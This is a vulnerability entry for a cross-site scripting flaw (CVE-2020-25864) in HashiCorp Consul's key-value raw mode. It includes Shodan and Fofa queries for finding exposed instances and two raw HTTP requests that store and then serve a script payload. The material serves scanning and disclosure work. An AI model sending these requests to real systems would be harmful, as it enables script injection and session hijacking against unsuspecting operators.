| Title | HashiCorp Consul/Consul Enterprise <=1.9.4 - Cross-Site Scripting |
|---|---|
| Author | c-sh0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected Consul/Consul Enterprise application. |
| Remediation | Fixed in 1.9.5, 1.8.10 and 1.7.14. |
| CVSS Score | 6.1 |
| EPSS Score | 0.85106 |
| CVE ID | CVE-2020-25864 |
| CWE ID | CWE-79 |
| Shodan Query | http.title:"consul by hashicorp"cpe:"cpe:2.3:a:hashicorp:consul" |
| Fofa Query | title="consul by hashicorp" |
| Tags | cve cve2020 consul xss intrusive hashicorp vuln |
HashiCorp Consul and Consul Enterprise up to version 1.9.4 are vulnerable to cross-site scripting via the key-value (KV) raw mode.
PUT /v1/kv/38FSlduerLXHMh6uCRPhlR8UCfw HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Connection: close
Content-Length: 54
Accept-Encoding: gzip
<!DOCTYPE html><script>alert(document.domain)</script>
GET /v1/kv/38FSlduerLXHMh6uCRPhlR8UCfw?raw HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1.2 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-25864.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-25864.pcap
N/AN/A